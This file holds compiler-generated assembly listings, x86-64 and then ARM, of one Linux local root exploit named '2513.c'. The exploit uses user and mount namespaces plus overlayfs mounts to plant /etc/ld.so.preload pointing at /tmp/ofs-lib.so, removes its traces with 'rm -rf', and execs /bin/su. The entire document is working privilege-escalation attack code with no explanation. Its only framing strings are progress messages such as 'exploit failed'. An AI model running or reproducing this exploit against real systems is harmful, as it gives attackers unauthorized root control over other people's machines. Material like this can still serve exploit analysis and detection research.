	.file	"2513.c"
	.intel_syntax noprefix
	.text
	.local	child_stack
	.comm	child_stack,1048576,32
	.section	.rodata
.LC0:
	.string	"rm -rf /tmp/ns_sploit"
.LC1:
	.string	"/tmp/ns_sploit"
.LC2:
	.string	"/tmp/ns_sploit/work"
.LC3:
	.string	"/tmp/ns_sploit/upper"
.LC4:
	.string	"/tmp/ns_sploit/o"
.LC5:
	.string	"mount #1\n"
	.align 8
.LC6:
	.string	"lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper"
.LC7:
	.string	"overlayfs"
.LC8:
	.string	"overlay"
	.align 8
.LC9:
	.string	"lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work"
	.align 8
.LC10:
	.string	"no FS_USERNS_MOUNT for overlayfs on this kernel\n"
.LC11:
	.string	".access"
.LC12:
	.string	"/tmp/ns_sploit/work/work"
.LC13:
	.string	"ns_last_pid"
.LC14:
	.string	"ld.so.preload"
.LC15:
	.string	"/"
.LC16:
	.string	"mount #2\n"
	.align 8
.LC17:
	.string	"lowerdir=/tmp/ns_sploit/upper,upperdir=/etc"
	.align 8
.LC18:
	.string	"lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work"
	.align 8
.LC19:
	.string	"/tmp/ns_sploit/o/ld.so.preload"
	.text
	.type	child_exec, @function
child_exec:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	QWORD PTR -24[rbp], rdi
	lea	rdi, .LC0[rip]
	call	system@PLT
	mov	esi, 511
	lea	rdi, .LC1[rip]
	call	mkdir@PLT
	mov	esi, 511
	lea	rdi, .LC2[rip]
	call	mkdir@PLT
	mov	esi, 511
	lea	rdi, .LC3[rip]
	call	mkdir@PLT
	mov	esi, 511
	lea	rdi, .LC4[rip]
	call	mkdir@PLT
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 9
	mov	esi, 1
	lea	rdi, .LC5[rip]
	call	fwrite@PLT
	lea	r8, .LC6[rip]
	mov	ecx, 3236757504
	lea	rdx, .LC7[rip]
	lea	rsi, .LC4[rip]
	lea	rdi, .LC8[rip]
	call	mount@PLT
	test	eax, eax
	je	.L2
	lea	r8, .LC9[rip]
	mov	ecx, 3236757504
	lea	rdx, .LC8[rip]
	lea	rsi, .LC4[rip]
	lea	rdi, .LC8[rip]
	call	mount@PLT
	test	eax, eax
	je	.L3
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 48
	mov	esi, 1
	lea	rdi, .LC10[rip]
	call	fwrite@PLT
	mov	edi, -1
	call	exit@PLT
.L3:
	lea	rax, .LC11[rip]
	mov	QWORD PTR -8[rbp], rax
	mov	esi, 511
	lea	rdi, .LC12[rip]
	call	chmod@PLT
	jmp	.L4
.L2:
	lea	rax, .LC13[rip]
	mov	QWORD PTR -8[rbp], rax
.L4:
	lea	rdi, .LC4[rip]
	call	chdir@PLT
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC14[rip]
	mov	rdi, rax
	call	rename@PLT
	lea	rdi, .LC15[rip]
	call	chdir@PLT
	lea	rdi, .LC4[rip]
	call	umount@PLT
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 9
	mov	esi, 1
	lea	rdi, .LC16[rip]
	call	fwrite@PLT
	lea	r8, .LC17[rip]
	mov	ecx, 3236757504
	lea	rdx, .LC7[rip]
	lea	rsi, .LC4[rip]
	lea	rdi, .LC8[rip]
	call	mount@PLT
	test	eax, eax
	je	.L5
	lea	r8, .LC18[rip]
	mov	ecx, 3236757504
	lea	rdx, .LC8[rip]
	lea	rsi, .LC4[rip]
	lea	rdi, .LC8[rip]
	call	mount@PLT
	test	eax, eax
	je	.L6
	mov	edi, -1
	call	exit@PLT
.L6:
	mov	esi, 511
	lea	rdi, .LC12[rip]
	call	chmod@PLT
.L5:
	mov	esi, 511
	lea	rdi, .LC19[rip]
	call	chmod@PLT
	lea	rdi, .LC4[rip]
	call	umount@PLT
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	child_exec, .-child_exec
	.section	.rodata
.LC20:
	.string	"spawning threads\n"
	.align 8
.LC21:
	.string	"failed to create new user namespace\n"
	.align 8
.LC22:
	.string	"failed to create new mount namespace\n"
.LC23:
	.string	"child threads done\n"
.LC24:
	.string	"/etc/ld.so.preload"
.LC25:
	.string	"exploit failed\n"
.LC26:
	.string	"/etc/ld.so.preload created\n"
.LC27:
	.string	"/tmp/ofs-lib.so\n"
	.align 8
.LC28:
	.string	"rm -rf /tmp/ns_sploit /tmp/ofs-lib.c"
.LC29:
	.string	"su"
.LC30:
	.string	"/bin/su"
	.text
	.globl	main
	.type	main, @function
main:
.LFB7:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 48
	mov	DWORD PTR -36[rbp], edi
	mov	QWORD PTR -48[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	DWORD PTR -28[rbp], 131089
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 17
	mov	esi, 1
	lea	rdi, .LC20[rip]
	call	fwrite@PLT
	call	fork@PLT
	mov	DWORD PTR -24[rbp], eax
	cmp	DWORD PTR -24[rbp], 0
	jne	.L8
	mov	edi, 268435456
	mov	eax, 0
	call	unshare@PLT
	test	eax, eax
	je	.L9
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 36
	mov	esi, 1
	lea	rdi, .LC21[rip]
	call	fwrite@PLT
.L9:
	call	fork@PLT
	mov	DWORD PTR -16[rbp], eax
	cmp	DWORD PTR -16[rbp], 0
	jne	.L10
	lea	rsi, child_stack[rip+1048576]
	mov	eax, DWORD PTR -28[rbp]
	mov	ecx, 0
	mov	edx, eax
	lea	rdi, child_exec[rip]
	mov	eax, 0
	call	clone@PLT
	mov	DWORD PTR -12[rbp], eax
	cmp	DWORD PTR -12[rbp], 0
	jns	.L11
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 37
	mov	esi, 1
	lea	rdi, .LC22[rip]
	call	fwrite@PLT
	mov	edi, -1
	call	exit@PLT
.L11:
	lea	rcx, -32[rbp]
	mov	eax, DWORD PTR -12[rbp]
	mov	edx, 0
	mov	rsi, rcx
	mov	edi, eax
	mov	eax, 0
	call	waitpid@PLT
.L10:
	lea	rcx, -32[rbp]
	mov	eax, DWORD PTR -16[rbp]
	mov	edx, 0
	mov	rsi, rcx
	mov	edi, eax
	mov	eax, 0
	call	waitpid@PLT
	mov	eax, 0
	jmp	.L12
.L8:
	mov	edi, 300000
	call	usleep@PLT
	mov	edi, 0
	mov	eax, 0
	call	wait@PLT
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 19
	mov	esi, 1
	lea	rdi, .LC23[rip]
	call	fwrite@PLT
	mov	esi, 1
	lea	rdi, .LC24[rip]
	mov	eax, 0
	call	open@PLT
	mov	DWORD PTR -20[rbp], eax
	cmp	DWORD PTR -20[rbp], -1
	jne	.L13
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 15
	mov	esi, 1
	lea	rdi, .LC25[rip]
	call	fwrite@PLT
	mov	edi, -1
	call	exit@PLT
.L13:
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 27
	mov	esi, 1
	lea	rdi, .LC26[rip]
	call	fwrite@PLT
	mov	eax, DWORD PTR -20[rbp]
	mov	edx, 16
	lea	rsi, .LC27[rip]
	mov	edi, eax
	call	write@PLT
	mov	eax, DWORD PTR -20[rbp]
	mov	edi, eax
	call	close@PLT
	lea	rdi, .LC28[rip]
	call	system@PLT
	mov	edx, 0
	lea	rsi, .LC29[rip]
	lea	rdi, .LC30[rip]
	mov	eax, 0
	call	execl@PLT
	mov	eax, 0
.L12:
	mov	rdx, QWORD PTR -8[rbp]
	sub	rdx, QWORD PTR fs:40
	je	.L14
	call	__stack_chk_fail@PLT
.L14:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE7:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"2513.c"
	.text
	.local	child_stack
	.comm	child_stack,1048576,4
	.section	.rodata
	.align	2
.LC0:
	.ascii	"rm -rf /tmp/ns_sploit\000"
	.align	2
.LC1:
	.ascii	"/tmp/ns_sploit\000"
	.align	2
.LC2:
	.ascii	"/tmp/ns_sploit/work\000"
	.align	2
.LC3:
	.ascii	"/tmp/ns_sploit/upper\000"
	.align	2
.LC4:
	.ascii	"/tmp/ns_sploit/o\000"
	.align	2
.LC5:
	.ascii	"mount #1\012\000"
	.align	2
.LC6:
	.ascii	"overlayfs\000"
	.align	2
.LC7:
	.ascii	"overlay\000"
	.align	2
.LC8:
	.ascii	"lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/u"
	.ascii	"pper\000"
	.align	2
.LC9:
	.ascii	"lowerdir=/sys/kernel/security/apparmor,upperdir=/tm"
	.ascii	"p/ns_sploit/upper,workdir=/tmp/ns_sploit/work\000"
	.align	2
.LC10:
	.ascii	"no FS_USERNS_MOUNT for overlayfs on this kernel\012"
	.ascii	"\000"
	.align	2
.LC11:
	.ascii	".access\000"
	.align	2
.LC12:
	.ascii	"/tmp/ns_sploit/work/work\000"
	.align	2
.LC13:
	.ascii	"ns_last_pid\000"
	.align	2
.LC14:
	.ascii	"ld.so.preload\000"
	.align	2
.LC15:
	.ascii	"/\000"
	.align	2
.LC16:
	.ascii	"mount #2\012\000"
	.align	2
.LC17:
	.ascii	"lowerdir=/tmp/ns_sploit/upper,upperdir=/etc\000"
	.align	2
.LC18:
	.ascii	"lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir"
	.ascii	"=/tmp/ns_sploit/work\000"
	.align	2
.LC19:
	.ascii	"/tmp/ns_sploit/o/ld.so.preload\000"
	.text
	.align	2
	.syntax unified
	.arm
	.fpu softvfp
	.type	child_exec, %function
child_exec:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #24
	str	r0, [fp, #-16]
	ldr	r0, .L7
	bl	system
	ldr	r1, .L7+4
	ldr	r0, .L7+8
	bl	mkdir
	ldr	r1, .L7+4
	ldr	r0, .L7+12
	bl	mkdir
	ldr	r1, .L7+4
	ldr	r0, .L7+16
	bl	mkdir
	ldr	r1, .L7+4
	ldr	r0, .L7+20
	bl	mkdir
	ldr	r3, .L7+24
	ldr	r3, [r3]
	mov	r2, #9
	mov	r1, #1
	ldr	r0, .L7+28
	bl	fwrite
	ldr	r3, .L7+32
	str	r3, [sp]
	ldr	r3, .L7+36
	ldr	r2, .L7+40
	ldr	r1, .L7+20
	ldr	r0, .L7+44
	bl	mount
	mov	r3, r0
	cmp	r3, #0
	beq	.L2
	ldr	r3, .L7+48
	str	r3, [sp]
	ldr	r3, .L7+36
	ldr	r2, .L7+44
	ldr	r1, .L7+20
	ldr	r0, .L7+44
	bl	mount
	mov	r3, r0
	cmp	r3, #0
	beq	.L3
	ldr	r3, .L7+24
	ldr	r3, [r3]
	mov	r2, #48
	mov	r1, #1
	ldr	r0, .L7+52
	bl	fwrite
	mvn	r0, #0
	bl	exit
.L3:
	ldr	r3, .L7+56
	str	r3, [fp, #-8]
	ldr	r1, .L7+4
	ldr	r0, .L7+60
	bl	chmod
	b	.L4
.L2:
	ldr	r3, .L7+64
	str	r3, [fp, #-8]
.L4:
	ldr	r0, .L7+20
	bl	chdir
	ldr	r1, .L7+68
	ldr	r0, [fp, #-8]
	bl	rename
	ldr	r0, .L7+72
	bl	chdir
	ldr	r0, .L7+20
	bl	umount
	ldr	r3, .L7+24
	ldr	r3, [r3]
	mov	r2, #9
	mov	r1, #1
	ldr	r0, .L7+76
	bl	fwrite
	ldr	r3, .L7+80
	str	r3, [sp]
	ldr	r3, .L7+36
	ldr	r2, .L7+40
	ldr	r1, .L7+20
	ldr	r0, .L7+44
	bl	mount
	mov	r3, r0
	cmp	r3, #0
	beq	.L5
	ldr	r3, .L7+84
	str	r3, [sp]
	ldr	r3, .L7+36
	ldr	r2, .L7+44
	ldr	r1, .L7+20
	ldr	r0, .L7+44
	bl	mount
	mov	r3, r0
	cmp	r3, #0
	beq	.L6
	mvn	r0, #0
	bl	exit
.L6:
	ldr	r1, .L7+4
	ldr	r0, .L7+60
	bl	chmod
.L5:
	ldr	r1, .L7+4
	ldr	r0, .L7+88
	bl	chmod
	ldr	r0, .L7+20
	bl	umount
	nop
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L8:
	.align	2
.L7:
	.word	.LC0
	.word	511
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.word	.LC4
	.word	stderr
	.word	.LC5
	.word	.LC8
	.word	-1058209792
	.word	.LC6
	.word	.LC7
	.word	.LC9
	.word	.LC10
	.word	.LC11
	.word	.LC12
	.word	.LC13
	.word	.LC14
	.word	.LC15
	.word	.LC16
	.word	.LC17
	.word	.LC18
	.word	.LC19
	.size	child_exec, .-child_exec
	.section	.rodata
	.align	2
.LC20:
	.ascii	"spawning threads\012\000"
	.align	2
.LC21:
	.ascii	"failed to create new user namespace\012\000"
	.align	2
.LC22:
	.ascii	"failed to create new mount namespace\012\000"
	.align	2
.LC23:
	.ascii	"child threads done\012\000"
	.align	2
.LC24:
	.ascii	"/etc/ld.so.preload\000"
	.align	2
.LC25:
	.ascii	"exploit failed\012\000"
	.align	2
.LC26:
	.ascii	"/etc/ld.so.preload created\012\000"
	.align	2
.LC27:
	.ascii	"/tmp/ofs-lib.so\012\000"
	.align	2
.LC28:
	.ascii	"rm -rf /tmp/ns_sploit /tmp/ofs-lib.c\000"
	.align	2
.LC29:
	.ascii	"su\000"
	.align	2
.LC30:
	.ascii	"/bin/su\000"
	.align	2
.LC31:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 40
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #40
	str	r0, [fp, #-40]
	str	r1, [fp, #-44]
	ldr	r3, .L17
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	ldr	r3, .L17+4
	str	r3, [fp, #-28]
	ldr	r3, .L17+8
	ldr	r3, [r3]
	mov	r2, #17
	mov	r1, #1
	ldr	r0, .L17+12
	bl	fwrite
	bl	fork
	mov	r3, r0
	str	r3, [fp, #-24]
	ldr	r3, [fp, #-24]
	cmp	r3, #0
	bne	.L10
	mov	r0, #268435456
	bl	unshare
	mov	r3, r0
	cmp	r3, #0
	beq	.L11
	ldr	r3, .L17+8
	ldr	r3, [r3]
	mov	r2, #36
	mov	r1, #1
	ldr	r0, .L17+16
	bl	fwrite
.L11:
	bl	fork
	mov	r3, r0
	str	r3, [fp, #-16]
	ldr	r3, [fp, #-16]
	cmp	r3, #0
	bne	.L12
	ldr	r1, .L17+20
	mov	r3, #0
	ldr	r2, [fp, #-28]
	ldr	r0, .L17+24
	bl	clone
	str	r0, [fp, #-12]
	ldr	r3, [fp, #-12]
	cmp	r3, #0
	bge	.L13
	ldr	r3, .L17+8
	ldr	r3, [r3]
	mov	r2, #37
	mov	r1, #1
	ldr	r0, .L17+28
	bl	fwrite
	mvn	r0, #0
	bl	exit
.L13:
	sub	r3, fp, #32
	mov	r2, #0
	mov	r1, r3
	ldr	r0, [fp, #-12]
	bl	waitpid
.L12:
	sub	r3, fp, #32
	mov	r2, #0
	mov	r1, r3
	ldr	r0, [fp, #-16]
	bl	waitpid
	mov	r3, #0
	b	.L14
.L10:
	ldr	r0, .L17+32
	bl	usleep
	mov	r0, #0
	bl	wait
	ldr	r3, .L17+8
	ldr	r3, [r3]
	mov	r2, #19
	mov	r1, #1
	ldr	r0, .L17+36
	bl	fwrite
	mov	r1, #1
	ldr	r0, .L17+40
	bl	open
	str	r0, [fp, #-20]
	ldr	r3, [fp, #-20]
	cmn	r3, #1
	bne	.L15
	ldr	r3, .L17+8
	ldr	r3, [r3]
	mov	r2, #15
	mov	r1, #1
	ldr	r0, .L17+44
	bl	fwrite
	mvn	r0, #0
	bl	exit
.L15:
	ldr	r3, .L17+8
	ldr	r3, [r3]
	mov	r2, #27
	mov	r1, #1
	ldr	r0, .L17+48
	bl	fwrite
	mov	r2, #16
	ldr	r1, .L17+52
	ldr	r0, [fp, #-20]
	bl	write
	ldr	r0, [fp, #-20]
	bl	close
	ldr	r0, .L17+56
	bl	system
	mov	r2, #0
	ldr	r1, .L17+60
	ldr	r0, .L17+64
	bl	execl
	mov	r3, #0
.L14:
	ldr	r2, .L17
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L16
	bl	__stack_chk_fail
.L16:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L18:
	.align	2
.L17:
	.word	.LC31
	.word	131089
	.word	stderr
	.word	.LC20
	.word	.LC21
	.word	child_stack+1048576
	.word	child_exec
	.word	.LC22
	.word	300000
	.word	.LC23
	.word	.LC24
	.word	.LC25
	.word	.LC26
	.word	.LC27
	.word	.LC28
	.word	.LC29
	.word	.LC30
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
